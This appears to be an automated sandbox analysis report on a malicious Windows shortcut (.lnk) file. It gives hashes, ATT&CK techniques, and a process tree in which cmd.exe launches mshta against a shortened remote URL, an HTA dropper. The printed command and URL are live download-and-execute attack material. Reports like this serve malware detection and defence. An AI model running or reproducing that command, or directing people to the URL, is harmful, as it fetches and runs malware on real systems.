ac8978cc72a5ff44ccc4cac9b1d88de5d61705d3c8a10cc9cab60d6059e3eac7

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10/04/2024, 11:05

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General

Target

56fe283ca3e1c1667191cc7764c260b6.lnk
Size

2KB
MD5

56fe283ca3e1c1667191cc7764c260b6
SHA1

b2cd3681af45241cc020a0a2795401b72f4d917a
SHA256

ac8978cc72a5ff44ccc4cac9b1d88de5d61705d3c8a10cc9cab60d6059e3eac7
SHA512

8476e95615d195b93ea785537effa4bee9cffafa328f2c755786d2b362c14b61fcb2bd29b000ec2b717dfb9ab1de90cd7b6d4716d9ef40e1cf9db18fb6dd55ee

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://bit.ly/39Yjk9a

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	2592	mshta.exe
7	2592	mshta.exe
8	2592	mshta.exe
9	2592	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 2520	1368	cmd.exe	29
PID 1368 wrote to memory of 2520	1368	cmd.exe	29
PID 1368 wrote to memory of 2520	1368	cmd.exe	29
PID 2520 wrote to memory of 2592	2520	cmd.exe	30
PID 2520 wrote to memory of 2592	2520	cmd.exe	30
PID 2520 wrote to memory of 2592	2520	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\56fe283ca3e1c1667191cc7764c260b6.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://bit.ly/39Yjk9a
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\System32\mshta.exe
    C:\Windows\System32\mshta https://bit.ly/39Yjk9a
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

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C:\Users\Admin\AppData\Local\Temp\Tar8B94.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

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